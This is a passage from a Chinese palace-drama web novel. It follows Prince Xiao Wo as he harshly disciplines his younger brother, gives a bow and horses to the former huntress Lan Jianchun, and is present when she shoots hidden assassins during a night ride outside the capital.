“不要让景皑知道皇后的死讯。”皇帝吩咐道,“辽北不能败。”
萧沃大笑。转身向宫外走去,他的胸膛一起一伏,心跳声如雷电一般清晰。
“你们一个个都疯了!”萧沃大声说,“却反过头来说我疯了!可笑!可悲!”
皇帝目送他离开,吩咐汪琢:“岷王萧沃患了疯病,即日起,禁足王府三年。盯紧了他身边的人,切莫走漏了风声。”
那天的雨大得好像着急抹去景皇后生活过的一切痕迹。
萧沅又哭了,萧沃抱紧了孩子,像个虾米一样拱起后背,为他遮风挡雨。他回首凝视皇帝,眼睛让无边的恨意腌得血红,红得发紫。
——父皇,你什么时候去死?
忽然,有人为他撑了一把伞。
“大哥……”
萧沃转过头,诧异地望着昌宁公主、萧锦。萧锦踮起脚尖,努力地为萧沃撑伞。她不敢看萧沃的眼睛,直直地盯着伞骨。
萧沃盯着她与陈昀极为相似的眼睛,顿时生出一种厌恶。
“谢谢。”萧沃弯腰回到了雨幕中,他垂下头,“不必了。”
—
“殿下!殿下!文亭!抬他后背,把药灌下去!”
萧沃感觉被谁强行从床上拉起来,又被人强行掰开了嘴,将苦药一股脑都灌进了喉咙里,药烫得能把人喉咙弄熟了。
萧沃被呛得昏天黑地,咳了好半天才缓过神。床边围了一圈人,擦眼泪的擦眼泪。
萧沃说:“干嘛呀,不知道的还以为我薨了呢。”
“你吓死我们了!”景思娴一直用帕子拭泪,“幸好我让文亭进去看了一眼,你知不知道,你差点让池水溺死!”
萧沃勉强坐起来:“别胡说,人还能让洗澡水呛死?我那是睡着了。”
“你可知你都胡说了些什么?”景思娴叹息,坐在他床边,小声说,“殿下若是想沅弟了,明日就让他来陪陪殿下。”
“不,别让他来这种地方。”萧沃喝了口水,“我没事,等过几天,我自己去清秋院见见他。”
“这样也好,”景思娴说,“赶明儿我让小厨房做点顺口儿的小糕点来,殿下给沅弟送过去。说说,殿下跟沅弟也好久没见了。”
萧沃点头:“好。”
景思娴一脸担忧地望着他,骂道:“太医院竟都是帮蠢货!殿下喝了那么多的药,怎么还不见好?赶明儿我就让辽北的巫师过来看看,殿下别是让脏东西缠上了。”
萧沃笑道:“哪来的什么脏东西?太医院还是管用的,你瞧,我现在不就好了?”
“你刚才真是把我吓坏了。”景思娴眼泪滚着泪。
“我就是一回京就愁得慌。”萧沃抿了一盏水,“疯点好啊,陛下也还放心些。”
景思娴说:“都什么时候了,你还有心情开玩笑?”
萧沃说:“对了,明天你进宫一趟,带上我库房里那株珊瑚,去给皇后请个安。”
“不年不节的,怎么想起给皇后请安?”景思娴跟见了鬼似的,“你可是连万寿节都不去的主,现在怎的想起来要给皇后送礼?”
萧沃说:“我想要她手里的虎皮。就是八年前,西北贡的那套。”
景思娴问:“要那干什么?”
萧沃笑:“不都说老虎是纯阳之躯?我瞧咱府里阴气忒重,拿过来镇镇宅子。”
“你不对劲。”景思娴侧眼看他,好像要把他看透似的,“你在潼裕遇见了什么?”
萧沃摇头,玩味地说:“不告诉你。”
“行——明个儿我就进宫。”景思娴说,“我走了,殿下好生休息。”
景思娴走后,萧沃尝试睡觉,以失败告终。
他不喜欢王府,感觉这里到处都有霉味。给景思娴留了封信后,便捡几件换洗衣物,出发去了清秋院。
—
清秋院在京郊,院子不大,但所在位置很好,很僻静,没人来打扰。
萧沃手里提着食盒,身后的文亭文楼各自背了一个大书篓。俩人被书篓压得都弓着背,脑门让阳光晒得冒油,看起来跟黄河边的纤夫一样。
听见门响,清秋院的管家老张赶紧跑了过来。
“殿下,三殿下还在后院呢……”老张一边擦汗一边说。
“早晨不就差人来了,说今天巳时初本王来清秋院。”萧沃加快了脚步,“这会儿不是应该在学堂看书吗?怎么在后院?”
老张嗫嚅道:“三殿下说……今个天气好,想在后院透口气。”
萧沃往学堂的方向看:“先生呢?”
老张怕得要命,又不敢说谎话包庇萧沅,只好说实话:“三殿下不愿意学,先生就走了。”
“一读书就累,他总有这么多借口。”萧沃把食盒扔给老张,说,“还敢翘课,取本王戒尺来!”
“是,是。”老张汗如雨下,跟在萧沃身后使劲跑。
“天气好要出去透口气,天气不好又嫌屋里闷热,也要出去透口气,干脆驻外面好了!”萧沃穿过长廊,一脚踹开后院的小门,快速寻找萧沅的身影,最后锁定了假山后的一段灰色的身影。
这时,老张也取来了他的专用戒尺,戒尺是黑檀木的,上面还刻了一整篇《劝学》。
“萧老三!”
“坏了!”
之后“噗咚”地一声,萧沃要抓的人直接跳进了湖里!
萧沃扯掉了衣带,一手捏着衣襟,把外袍拽了下来!他随手抛掉衣服,只剩下一身白色单衣,快速往池塘边跑,他看见碧绿色的水面上有一颗小脑袋,低低地骂了一句,直接跳进了水里!
萧沅如临大敌,憋住一口气往水下钻。他水性好,在水里游得很快,跟一条敏捷的小白条一样。
萧沃跟在他后边,两个人始终差一丈的距离。萧沃抓不住他弟弟,也不会罢休。这池塘浅,萧沅很快就摸到了底。他正寻思着往哪逃,忽然一股力量压住了他的天灵盖。
萧沃的手刚好可以抓住萧沅的脑袋,捏得他动弹不得,还使劲把他往水底压!
萧沅手刨脚蹬,憋的这口气马上就到头了。萧沃还不肯放过他,抓着他脑袋不让他上岸。萧沅这才意识到大哥这回是真的生气了,他连忙摇手,意思是“不要”。
没用,萧沃还把他往泥里摁。
萧沅怕陷进泥里,只好跪在池塘底。萧沃还把他往下摁。
他又双手抱拳作揖,意思是“饶了我”。
水底昏暗暗的,萧沅看不清萧沃的脸,但他猜得到,肯定跟困了百八十年的厉鬼一样阴。
萧沅再也撑不住了,气泡咕噜噜地从他面前往上飞,他连着喝了好几口水。
萧沅被水呛得直翻白眼,萧沃才放过他,拉着他的后颈回到岸上。
萧沃先把孩子甩到岸边,老张和文亭帮忙把萧沅捞上来,自己再撑着石板上岸。萧沅吓懵了,脸惨白发绿,不停地吐水。
萧沃浑身往下滴水,里衣包裹在身上,勾勒出他身材的单薄。他双手叉腰,站在萧沅脑袋旁边,居高临下地睥睨不听话的弟弟。他一句话都不说,也不数落萧沅。
他呼吸很平静,但表情——就算是草木站在他旁边,都能看出来,他很生气。
萧沅咳嗽了好久,才把刚才呛的水都倒出去。他的脸青一阵白一阵,迟迟没缓过劲来。
刚才差点就淹死了,差点就让亲大哥溺死在自家池塘里……萧沅吓得不停打寒战。身边的萧沃一句话都不说,但萧沅就感觉后脖颈子凉凉的,跟有人拿刀比着一样。
老张蹲下来,抱住萧沅的肩膀:“三殿下,跟大殿下认个错吧。”
萧沅又气愤又害怕。他气萧沃就因为自己不好好读书要溺死自己,又害怕萧沃以后真发起狠来,真就这么干了。
萧沅今天才清清楚楚地意识到,大哥有的是办法折磨自己,也有的是办法把自己捞到岸上。
萧沅俯下身子,战战兢兢地给萧沃道歉:“大哥,我错了。”
“错哪了?”
萧沅咽了口唾沫:“我不该不听大哥话,我应该好好读书。”
“还不对。”
萧沅更紧张了,还能因为什么?不知道啊!
“想不出来,就一直跪着,直到想出来为止。”萧沃拂袖而去。
“我不该跟大哥对着干!”萧沅对萧沃的背影作揖。
萧沃驻足。
萧沅继续说:“我不该故意惹大哥生气……”
萧沃回头盯萧沅:“早在我通知你,我要来清秋院的时候,你就在开始做准备!平时不愿意学,至少今天装装样子吧?”
“对不起。”萧沅把脑袋埋得更深了。
萧沃失望地说:“你没有对不起我,你对不起你自己。戒尺。”
老张把戒尺递给他。
“手伸出来。”
萧沃不伸手,他的倔劲儿又上来了,梗着脖子问:“我不想读书!这有什么用啊!”
“怎么没用?”
萧沅气道:“就是没用!破烂书!不能玩也不能吃,读它干嘛!”
萧沃疑惑地看向老张:“这段时间,都有谁来了清秋院?”
老张说:“没别人呀殿下。”
萧沃盯着萧沅:“那这些话,就是先生教给你的?”
“跟别人没关系,”萧沅说,“大哥天天让我读书,可我想玩,我累得慌!”
“累?”萧沃笑,问身边的老张,“这个岁数,会累?”
萧沅气得跺脚:“学那么多我又学不会,可不会累!”
“蠢货,”萧沃笑着说,“大蠢货。”
老张焦急地
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说:“三殿下,快跟大殿下认个错!”
萧沅梗着脖子:“我不要!”
“这倔驴脾气,”萧沃笑容可掬地说,“从现在起,老张。”
“您吩咐。”
“给清秋院的人排班,盯着三殿下。”萧沃朝萧沅抬了抬下巴,“他不是乐意玩么,那就玩!从现在开始,让他玩个够。不许合眼,不许坐,更不许躺,玩吧,萧沅,有能耐玩一辈子。”
这罚得可重,老张害怕给萧沅身子整坏了:“大殿下,您消消气,刚才不是都罚过了……”
“你看他,真知错么?”萧沃盯着萧沅,“刚活过来就开始挑衅,真有本事。”
萧沅弓着背,一声不吭。
萧沃恨铁不成钢地指指萧沅的脑门,便带着文亭文楼去换衣裳了。
“三殿下诶!您怎么——”老张失望地叹了口气,他想说,怎么记吃不记打呢。
“我不想学,也不想挨打!”萧沅说,“他刚才差点淹死我。”
“大殿下都是为了您好!”老张捶胸顿足,“您是大殿下一手带大的,大殿下疼您才这样!”
“疼我,那把我扔在这清秋院?”萧沅站起来,顺手把老张也扶起来,“正好,我要玩个痛快。”
—
磬音楼内,最顶层的雅间里传来笛声。京城中最出名的旦角赛珠秀带着她新收的小徒越钗,一个扮杜丽娘,一个扮春香,给萧沃一人演了一出《惊梦》。
赛珠秀眼波流转,似是看见了满园春色:“原来姹紫嫣红开遍,似这般都付于断井颓垣①……”
萧沃歪在贵妃椅中,指间转动着一杆象牙小折扇,闭着眼听戏,但一直皱着眉头。
赛珠秀望着榻上的人,朱唇轻启,水一般柔软的调子从她唇齿间淌出:“良辰美景奈何天,赏心乐事谁家院②……”
忽然,珠帘被人从外用玉烟枪挑开。
“呦——您老人家得有多长时间没上我这磬音楼了?”来的这位正是磬音楼的大东家、昭信伯顾鸥。他抽了一口烟,便把烟枪放回了身边的托盘,连忙扇扇余烟,用清茶淑过口后才进雅间,躺在了萧沃旁边的椅中。
赛珠秀不为所动,越钗倒是有些乱了阵脚,在与赛珠秀合唱“朝飞暮卷,云霞萃轩,雨丝风片,烟波画船。锦屏人忒看的这韶光贱!③”时,有几个字没在调上。
萧沃提起扇子,指了指越钗,她紧张得又做错了动作。
“有股味,”萧沃瞥一眼顾鸥,“你少抽点能断了命?”
“你就放过我跟楼里的小旦吧。”顾鸥也学他,瘫在榻中,“你刚从潼裕回来就往我这跑,王妃能乐意么?”
萧沃笑:“除非我薨在外边,不然她才懒得管我。”
“自由啊。”顾鸥说,“上京城里这帮人谁不羡慕你?”
萧沃坐起来,问顾鸥:“这日子给你,你要不要?”
顾鸥被他吓了一跳:“不要!”
萧沃冷哼一声。
“我怎么感觉……”顾鸥凑近了问,“你不大痛快呢?跟你开个玩笑真上脸儿了?”
萧沃说:“前天去了趟清秋院,差点让萧沅气死。”
“三殿下还小,才七岁。”顾鸥一听就是老生常谈的事,“你总逼着他学习,那不行。像你这样,天生管得住自己,自己逼着自己学习的人,万里挑一!你跟他着什么急?三殿下愿意玩,就玩会嘛!又不指着他考状元。”
“他挑衅我。”萧沃说。
“这么点小就会这个?”顾鸥笑道,“真不愧是你弟弟。”
萧沃反问:“你什么意思?敢情他那副德行,是我带的?我给他安排在清秋院,请国子监的老师教他,居然教出来这么个不听话的犟种,现在你说,他这样都是因为随我。真好笑,顾行远,我争的是什么,他争的又是什么!要我放他做一滩烂泥!”
顾鸥赶紧求饶:“错了,殿下,我错了,我给您赔罪。”
萧沃不大高兴地把头别过去。
顾鸥问:“那三殿下最后给您认错了吗?”
“认了,”萧沃把玩手中的折扇,“昨个半夜来我府上,磕头认错。”
顾鸥赞道:“有您这样的大哥,实属三殿下之幸。”
“他要是有你半分识时务,就不至于让我整的那么惨。”萧沃抿一口茶,压下心头的余火。
“我要是不识时务,早就让人踩死了。”顾鸥劝他,“放宽心,等三殿下长大了,自然就明白殿下您的苦心了。”
萧沃往顾鸥身边凑了凑:“我拜托你个事。”
顾鸥:“尽管开口。”
萧沃小声说:“帮我照顾个女人。”
“女人?!”顾鸥惊叫道,“荫槐!你能耐了?!”
“……”
“我没听错吧,我的天,你——女人?!真是活得久什么都能看见……”顾鸥问,“府里也不管你,你至于养外室,接回府多舒坦?”
萧沃翻了个白眼:“谁跟你说是外室了?”
顾鸥:“那还能是什么?”
“跟你解释不清。”萧沃烦躁地说,“我把我的令牌给了她,若她拿着牌子来找你,别管是何要求,你都得答应——从我账上走。”
顾鸥讶异地问:“完了?”
“完了。”
“就这点事?”
“就这点。”
顾鸥用食指指节敲了一下桌面:“那你至于的亲自跟我说!找个小厮通传一声不就好了?”
“怕你为难她。”萧沃瞧顾鸥的表情又要调侃自己似的,连忙说,“听戏,听戏。”
赛珠秀没唱两句,磬音楼的小厮便停在门边,说:“东家,楼下有个女人要见您,她要小的把这块令牌给您。”
“哎呦,说曹操曹操到啊!”顾鸥站起身来,摇摇晃晃地把令牌接过,朝身后的萧沃晃了晃,“来了。”
“真的假的?”萧沃连忙给赛珠秀师徒打手势让她们撤,扯过顾鸥手里的令牌,“还真是,你快些,别怠慢了。”
顾鸥问:“你不去?”
“不,”萧沃把人往外推,“你快些去。”
顾鸥扭扭捏捏的:“我到底要看看是何等好颜色,让你如此牵肠挂肚。”
“滚,”萧沃笑骂道,待顾鸥没走两步,又叫住他,“顾行远!你别调侃她!”
“知道了!唠唠叨叨!”
11. 认错
兰见春缩着肩膀,靠在磬音楼的巨大牌坊下面,她望着台阶上金碧辉煌的戏楼,那好像天上人间。
飞檐下挂着大灯笼,上面还绘了百寿图,把半边天都点亮了。点这样的一只灯笼要多少钱呢?何况这里有十二只。
她感觉非常不自在,低头看自己的鞋,早上从菜市沾来的泥土早就被风吹干,黏在了布面上。她蹲下身,用手把泥巴扣下去,可弄不干净,还是在黑鞋上留了一块土黄色的烙印。
她站起来,靠着牌坊发呆。
眼前过了许多来磬音楼听戏的公子、小姐,男男女女都穿金戴银。尤其是上京的女人,与西北女人大有不同。她们大多又纤细又白净,轻纱拢在她们臂上,风一吹便飘起来,美得跟壁画上的仙女一样。
她们身上散发着花香、果香,兰见春低头闻自己的袖口,满是尘土的味道。她很难为情,往牌坊后推了推,羡慕地望着她们。
“便是这位娘子要找东家。”
兰见春闻声转头,看见个穿丝绸、戴金冠的男人站在自己面前。她往后退了退,向喉咙发紧:“东家好。”
“娘子为何不进去等?楼里有白送的凉茶和干果,边吃边听戏,总比在这站着舒坦呀。”顾鸥的语气温和得极为刻意。
他站在台阶上俯视她,心道萧沃怎么看上了这么个女人:五官不错,圆眼睛圆鼻头圆脸盘儿;皮肤偏暗,小麦色;肩膀宽,腰也不细……乡下女人。
虽然底子不错,但穿着普通的黛蓝色麻布衣,一股乡野的土气扑面而来,京城里随便一个中等门户的小姐,都比她瞧着顺眼百倍。
兰见春感觉身上一阵阵地发凉——上京人的眼神里都带刀子,早知道如此,自己应该梳洗过后再来,至少……得换双干净鞋子来。
顾鸥说:“你有什么条件,尽管来提。”
兰见春仰望着他,他们之间虽隔了两丈远,可她感觉自己与这种人之间隔了十万八千里。身边的人来来往往,路过兰见春时,都会好奇地打量她几眼。
她太粗糙了,实在与金砖银瓦的磬音楼不相配。她太局促了,偌大上京竟吝啬得不给她一块地方落脚。
原本她都准备好了说辞,她不要钱,想要马跟弓箭,可真到了这,反倒张不开口了。
顾鸥快速地扇扇子,不耐烦地问:“你倒是说话,就这么一声不吭,我怎么知道你想要什么?”
“不,”兰见春的脸红得像生猪肝,“不要了。”
她转身就跑,像逃命一样。
讨厌上京。
—
她一路跑回了自己的小宅子里,像被人抽干了精气似的,坐在了槐树下。屁股挨着土地,这颗心才算踏实下来。她很委屈,想哭。擦了擦眼睛,揩去了还未落下的泪。
萧沃给她的金牌牌落在了磬音楼,算了,不拿了,估计那个男人会把他的东西还给他。
她在树下难过了一会,就感觉饿。爬起来掸掸身上的土,去厨房和面了。
兰见春先用胰子洗手,再掬两捧水洗脸。她仔细看自己的手,明明洗干净了,连指甲缝都白白净净,但她总觉得自己身上有一层土,洗不掉似的。
她又回到厨房,挽起袖子,用粗瓷碗舀了半碗白||面,她在白||面中挖出个坑,慢慢往里倒水,水与粉渐渐交融,她随便揉了几下就变成了团。
她逐渐发力,整个手掌压进面团,腕子转着圈往下按,面团在她手里乖得很,很快就变得浑圆有光泽。突然,她想起来了什么,拎过锅盖盖住面盆,便匆匆地往院中去。
白天晒了热水,现在还留有余温。她房门关紧、锁好,就脱了衣服翻进浴桶洗澡。她用葫芦瓢盛水往自己身上泼,还不忘打胰子。可任她怎么洗,都洗不出上京人身上的香气。
“滚。”兰见春骂了一句,随手扔了澡巾,穿上新换洗的衣服,回到房中继续扯面。
她揪下一块,搓成棍,“啪”地摔在案板边缘。双手捏住两端,立马抻开,面棍落在案板时已经变成了长条,如此反复,面条越来越细。
她把面扔进锅里,拿长筷不停搅拌。面团在水里转了几圈就熟了,她捞面进碗,擓一勺辣椒面,跟一勺烫猪油。辣子的辛被油激出来香,温热的味道抚平了她的紧张。
第一口吃得急,烫得她舌尖发麻。额前的碎发垂下来,在热气里轻轻晃动。
“咚咚咚……”有人敲门。
兰见春端着碗凑过去,透过门缝看,来者是萧沃。
她为他开门。兰见春看见他身后跟了两匹马,她似乎明白了他是什么意思,但两个人都不说话。
萧沃身边有两个大箱子,兰见春让出路,意思是让他进院子。萧沃把箱子搬进院中,颇为吃力。
萧沃打开稍小的箱子,拿出了一张十分漂亮的弓:“这把弓送给你。”
那张弓呈红褐色,兰见春凑近去看,纹路细密,直纹如丝如缕,月光映在弓上,隐约闪着金点。她都不用伸手去碰,就知道是柘木弓,贵得很。
萧沃把弓放回箱子里,又打开了另一只箱子:“还有五十只箭。”
兰见春站在门边继续捞面条吃,又粗犷,又实在。
萧沃眨巴眨巴眼,说:“马,我也给你牵过来了,就是你得自己收拾马厩。”
兰见春点头,没说话。
“哦对,”萧沃从怀中取一沓银票,“二百两。”
“太多了,”兰见春说,“花不了这么多。”
“拿着。”萧沃把银票塞进她腰带里,“抽空给自己裁两身好衣服。”
提起新衣服,兰见春又垂下眼眸。
萧沃看着她吃红彤彤的面条,越来越饿,但他今天来是替顾行远道歉的,兰见春不说话,他就感觉她还心有芥蒂。他不停咽口水,最后饿得胃绞痛。
实在受不了了,才说:“我也想吃。”
兰见春愣了愣,说:“我去给你煮。”
萧沃心说,这就过去了吗?
他看见槐树下有一澡盆,水洒了一些在外面。他忽然想到了什么,急忙忙撤回目光。他坐在了离浴桶最远的石墩子上,等着兰见春给他上面条。
刚坐没多久他又觉得扎屁股,他应该帮兰见春做点什么——这个二十四年来都没有下过厨的人忐忐忑忑地走进了厨房。
兰见春正扒拉锅里的面条,瞧见他来,说:“坐那等着就行。”
萧沃看一眼杂乱的操作台,问:“需要我做点什么?”
“等着吃就行。”兰见春问,“你吃硬的还是软的?”
“软的。”萧沃说着,帮兰见春收拾灶台来。他笨手笨脚的,收碗的时候还把筷子筒碰倒了,筷子“哗啦啦”撒了一地。他的宽袍大袖实在不适合干活,低头捡筷子的功夫,衣角又沾上了泥土。
兰见春没有说他的不是。
面条熟了,她捞出沥水,也给萧沃做了一碗和自己一模一样的——宽面,辣子,滚烫的油。
她明明记得萧沃吃饭讲究顿顿要有青菜,早晨刚买的莲花白也安稳地躺在筐里,可她此刻心里憋着一口气,偏就不乐意给他煮,好像这样就能把在罄音楼受的气撒出去似的。
兰见春拍拍灰头土脸的萧沃,告诉他:“吃饭了。”
萧沃感受到了她掌心的温度,心忍不住颤抖,他咽了口唾沫,说:“诶!来了。”
萧沃乖乖地跟她到院子里。此时是亥时三刻,过午不食的萧荫槐准备享用他的美味宵夜。
面条放在面前,萧沃搓了搓手,凑到兰见春面前,小声地问:“那我吃啦?”
兰见春没搭理他,继续吃面。
萧沃悻悻地收回目光,提起筷子拌面。
“柘木弓贵得很,”兰见春盯着面,假装不经意地说,“没必要。”
“有必要,”萧沃很肯定地说,“好弓配美人。”
兰见春把筷子放在碗上,萧沃也撂了筷子。
兰见春严肃地问:“你觉得我美吗?”
萧沃瞪大了眼睛,以为自己听错了:“……”
他不回答,兰见春都有些着急了:“美吗?”
萧沃抓紧膝盖,衣服都让他抓烂糊了,他使劲点头:“美。”
兰见春又皱起眉头,报复似的夹了扎扎实实一筷子面,张大嘴咬了一大口,把腮帮子都塞得鼓鼓的,像藏坚果的松鼠。
她觉得萧沃不真诚,也不对,他态度挺认真的,但自己就是不满意——
明明那些京城贵女漂亮得不可方物,而自己土里土气的,怎么算得上漂亮,又怎么谈得上是“美”呢?
兰见春不满意,她觉得自己跟那些女子差了十万八千里,可不是裁一身衣服就能解决的。
“你好看着呢,”萧沃凑过来,歪着头看她的眼睛,“你跟我见过的人都不一样。”
兰
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见春停住,没抬头,但是她在听。
“你的确没那么精致,但是跟你在一起,就感觉特别踏实、舒服。”萧沃想了想,“你就像……西北的土地!朴素、粗粝、辽阔、壮美。”
兰见春眉头舒缓了些:“这都是说人的词么?”
“我要的是那个感觉,”萧沃说,“你看那些上京女人,她们就像金银珠翠,漂亮、精致,也很美。可这是两种完全不一样的美,不能相比的。”
兰见春心里痛快了很多:“你真这么觉得?”
萧沃举起三根手指:“我发誓,都是真话。”
兰见春又问:“那你喜欢大地还是……珠翠?”
萧沃说:“人各有所好。于我而言……”
兰见春别来了目光,她怕听见让她失望的回答。
“我觉得,珠翠是冷的。”萧沃又拾起筷子。
兰见春的心萌生了异样的感觉,像是有嫩芽要破土而出,痒痒的。
萧沃吃面的时候喜欢叼着面条、脖子抬起来吃,跟个会上下伸缩的吊篮似的。
“我第一次见人这样吃面。”兰见春学他的模样,“脖子不累吗?”
萧沃摆手:“不累。”
兰见春又学他的模样。
“不是,”萧沃笑道,“你学得我像只鸡。”
兰见春脖子一伸一缩的:“对噢,像鸡。”
萧沃:“不像!”
兰见春忍俊不禁:“好好好,不像。”
很怪,她明知道萧沃的身份,却并不觉得他高高在上。但今日在磬音楼见到的所有人,都跟瞧不起她似的。
两人谁也不提今天的事。
兰见春吃得快,起身就去院子里把自己的碗筷洗了。回来的时候提了一壶米酒,放在了石桌上。
萧沃两三口也把面吃完了,他从来没吃过那么好吃的面条,狼吞虎咽地吃,被辣得额头冒汗,但胃里暖烘烘的。吃完也学她的样子去洗碗,依然笨手笨脚。
“好吃,”萧沃自己给自己斟酒,夸兰见春手艺好,“有滋有味。”
“我知道。”
萧沃顿了顿,说:“我应该把事情都安排好,不该假手于人。”
兰见春凝视他,沉默。
“之前我怕我们之间的事被别人知道,影响你擢选大考。于是托付我的朋友照顾你,但……”萧沃把自己的令牌放在桌上,“我没想到他这点事都办不好。”
兰见春摇头:“不怪他。”
萧沃凑近了问:“那傻子也跟我说不明白,你跟我讲,怎么到了磬音楼,又不开口了呢?”
“我……”兰见春面露难色,萧沃直接问她为什么不开心,更让人难为情了。
萧沃说:“你得告诉我为什么,我怕我猜不对你的心思。是不是顾鸥跟你说了什么?”
兰见春说:“不怪他,真的。”
萧沃:“没什么不好意思说的。你心里有事就说出来,别憋着。”
“他……还有很多人,看我都像是在看……怪物。”兰见春揉眼睛,“可能是我太拿不出手了,我那会突然就张不开嘴了。”
萧沃听完,沉默了,他理解兰见春。
顾鸥还有去磬音楼的顾客,十有八||九都是富家子弟,他们生下来便是在锦衣玉食的世界,哪见过兰见春这种普通人?他们自然而然地瞧不上这种“乡下人”,觉得他们是外来的虫子。
顾鸥在自己面前当然是个仗义的好人,但在兰见春面前绝对换了幅模样。
萧沃无地自容,也说不出甜话来安慰兰见春。
“离大考还有不到十天,我猜你应该是想练练骑||射,我可以带你去。”萧沃说。
“会不会影响大考?”兰见春问,“万一在考试前,你帮我的事被别人知道,我会不会就没法考试了?”
萧沃说:“就今晚这一次,在考试前,我就不来了。”
兰见春低头抠手指,那上面还留着面粉。
萧沃说:“你身正不怕影子斜。去晦朔司考试的,哪个背后都有人指点。那些出身名门的,净都师从名儒名将,怎么没人怀疑他们走后门,却怀疑你?你放心,若真有人敢针对你,那就是打我的脸,我跟他没完。”
兰见春半信半疑:“我尽量不给你惹麻烦。”
“没事,不怕。”萧沃喝了杯米酒,“你歇一歇,一会儿随我去跑马。”1
12. 英姿
长夜漫漫,星斗璀璨。
夜风带着旷野的香气,与人撞了个满怀,两匹马一前一后,踏破了京郊的静。
兰见春伏在鞍上,身体随着马匹奔跑而起起伏伏,她的眼睛重新焕发出光芒。当头发拂过脸颊时,她感觉十分放松。
“驾!”她双腿夹紧马腹,她想要马跑得快些、再快些。她的马如一道闪电,瞬间“飞”了出去,甩开了萧沃。
萧沃就知道自己追不上。他勒住缰绳,目送兰见春在月下飞驰。她像一头挣脱牢笼的老虎,生机蓬勃、势不可挡。
忽然他猛地一抖缰绳,他真想试试,能不能追上她。
兰见春听到身后急速逼近的马蹄声,没有回头,反而再次催动马匹。
她的马四蹄翻飞,踏过野草,溅起层层草屑。她伏低身体,几乎贴在马颈上,风在耳边呼啸,大地在她身下急速倒退。
她要飞起来了。
前方是一片枫树林,夜深了,不方便进去。兰见春猛地一拉缰绳,马抬起前蹄,连后蹄都要离开地面,最后却稳稳停在坡顶。兰见春在坡上,望着坡下的萧沃。
萧沃还是没赶上她。但他可兴奋,他的马也可兴奋,蹦蹦跳跳、摇头晃脑,萧沃要是抓不住缰绳,都能被它甩出去。他一边喊“救命”一边大笑,跟十五六的少年一样。
兰见春回望,黑漆漆的枫树林一眼看不到头,像是人间与地狱的分割线。
她想起从村里往外逃的那晚,也是穿越了这样一片森林,奔逃的时候耳边一直有士兵奔跑的脚步声、乡邻的嘶吼声。她抓紧了缰绳,她的马通人性似的,往后退了几步。
就在此时,一支箭从林中飞了出来。
兰见春躲闪,但箭仍然划破了她的衣服,割破了她的肩膀。马受惊跳起,差点把她甩了出去。
萧沃惊呼:“有刺客!”
兰见春用另一手拉缰绳,可又有四五支箭从林中飞出,齐刷刷地向她杀来,她俯下身子,马匹慌里慌张地往前跑,再次躲过了这批箭。
她躲得很狼狈,但另一边的萧沃却毫发无伤。他也看出了那批刺客的目的,挡在了兰见春马后。
兰见春说:“冲我来的。”
萧沃的胸膛剧烈起伏,他沉默,警惕地看向身后,“严丝合缝”地挡在她前面。他很害怕,好像见了鬼。
兰见春眺望远处小如蚂蚁的城墙,心说要是敢回走,树林里的刺客必定能把自己射成刺猬。
大考之前来杀人,那必然是不愿让她进晦朔司。难道是羌榆那帮人杀到了京城?
兰见春的胳膊悄悄绕到身后,从箭篓中拔出一支箭。有萧沃挡在她面前,林中的刺客暂时看不到她的动作。
她闭上眼,将所有的精神凝聚在听觉上,朝枫树林撒开了网。
起初是风,穿过枫叶的缝隙,发出连绵的“呜呜——”声,像女子在哭泣。当风掠过近处的灌木时,声音又变得细碎,“沙沙——”,像猎户摩挲自己的手掌。
风带来了鸟鸣,马匹的呼吸声,还有她的心跳声。她听不见其他人的声音,有些焦躁,迅速调整呼吸,努力让自己平静。
忽然,她听见了金属相撞时的“叮当”声……
兰见春屏住了呼吸。
她又听到了竭力克制的呼吸声。
兰见春猛地睁开双眼,搭箭上弦,瞄准了枫树林的东南方。
箭飞了出去,随后她与萧沃都听见了一声闷响——“咚!”,一个人从树上摔了下来!
中了!
萧沃讶异地看向兰见春,她琥珀色的眼睛锐利得像一只准备进攻的虎。敌在暗我在明,她怎么能射中呢?!
兰见春抓着缰绳,她藏在萧沃身后,准备再次听声辨位。
同伴的毙命让剩余的刺客方寸大乱,林中移动声、呼吸声变得比刚才清晰得多,她接连射出第二箭、第三箭。
仅此三箭,枫树林深处彻底陷入了一片死寂。
“没了。”兰见春收弓,看向一边的萧沃,他呆愣愣得像根木头似的。
萧沃已经完全傻了。
“我们进林中瞧瞧,肯定都活着呢。”兰见春说,萧沃还没反应。
“萧!”兰见春喊了他一嗓子,把人家的魂给叫了回来。
“怎么射中的?”萧沃呆呆地说,“隔那么远,天又那么黑,怎么能射中呢?”
“你忘了?我以前是猎人。”兰见春单手持缰,风掠过卷起她发际上的碎发,像一株恣意生长的兰花。
“山中野兽多,听得不好,会死的。”她指指自己的耳朵,骄傲地说,“我这双耳朵,十里八乡都找不出第二对。”
萧沃心服口服:“我捡到了宝。”
他心想,这世上怎么会有箭法这么好的人呢?他越看兰见春越觉得她高大、强壮,真不愧是能猎到虎的女人,他现在是真信了兰见春说话——十四岁杀虎,绝非吹牛。
“想什么呢?”兰见春伸出手在他面前晃了晃,“我脸上有东西?怎么一直看着我。”
“没!”萧沃尴尬地别开目光,“活的,对,抓活的!我得好好审审,是谁派过来!”
“这枫林中黑漆漆的,我这几箭射过去,还不知道扎在什么位置。”兰见春说,“我们得放慢了脚步。”
萧沃赶紧朝空中放鸣镝,下马挡在兰见春前面,二人一起进林子。
兰见春分给萧沃一只火折子勉强照明。没往里面走两步,就看见地上横着三具尸体。有一个腹部中箭,有一个胸膛中箭,还有一个头部中箭。
萧沃自顾自地往前走,兰见春却不敢再往前了——怎么全死了?
这里是上京城,树林中平白无故死了几个人,又没有打斗的痕迹,官府会不会发现他们、过来抓自己?
蹲了大狱,那还怎么参加大考,怎么帮家人村民报仇?!
不该杀了他们,不该!
刚才射箭时候的果决和快//感潮水一样退去,只剩下无边的担忧和自责。
萧沃蹲下检查尸体,除了中箭死亡的,还有一个脸色发黑、七窍流血的,应该是中箭后没死,服毒而亡。
“都是死士,”萧沃抬头看兰见春,她还钉在原地不动弹呢,“兰夫人,你怎么现在害怕了?人都死了。”
兰见春心道,是啊,人死了,官府马上就要来抓我了。
萧沃站起来,说:“你不杀他们,他们就会来杀你。你这么做并非作恶,而为自保,你没错。”
兰见春冲萧沃点头,转身向林子外走去。文亭、文楼已经带着暗卫围了过来,他们暂时安全了。
“兰夫人!”文亭匆匆冲过来,拦住她的去路,“殿下呢?”
“在里面,琢磨死人呢。”兰见春木讷地向外走,射箭杀人时的亢奋完全褪去,现在她只剩下担忧,逼得她喘不过来气。
“杀人犯。”
“谁!”兰见春猛回头,动静大得文楼直看她。可这里除了护卫和树林,什么都没有。
